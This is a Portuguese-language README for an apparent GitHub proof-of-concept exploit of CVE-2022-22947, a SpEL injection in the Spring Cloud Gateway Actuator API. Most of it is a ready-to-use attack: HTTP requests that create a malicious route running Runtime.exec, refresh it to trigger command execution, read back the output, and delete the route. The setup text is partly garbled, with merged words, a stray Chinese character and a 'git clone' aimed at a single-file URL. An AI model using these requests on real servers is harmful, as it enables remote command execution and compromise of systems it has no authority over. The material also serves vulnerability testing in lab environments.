greetdawn/cve-2022-22947PoC exploit para CVE-2022-22947: injeção de SpEL no Spring Cloud Gateway que permite execução remota de comandos por meio de rotas da API Actuator criadas de forma maliciosa.
Spring Cloud Gatewayé um gatewayAPIdoSpring中. Nas versões3.1.0e3.0.6(inclusive) e anteriores, existe uma vulnerabilidade de injeção de expressãoSpEL; quando um atacante consegue acessar aActuator API, será possível usar essa vulnerabilidade para executar comandos arbitrários.
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d
Envie o seguinte pacote para a interface routes:
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329
{
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
O pacote acima indica que a nova rota foi criada com sucesso.
Envie novamente o seguinte pacote para aplicar a rota recém-adicionada e acionar a execução da expressão SpEL:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329
Solicite a rota recém-criada para acionar o código malicioso:
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0
Nota: exclua a rota a seguir
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0
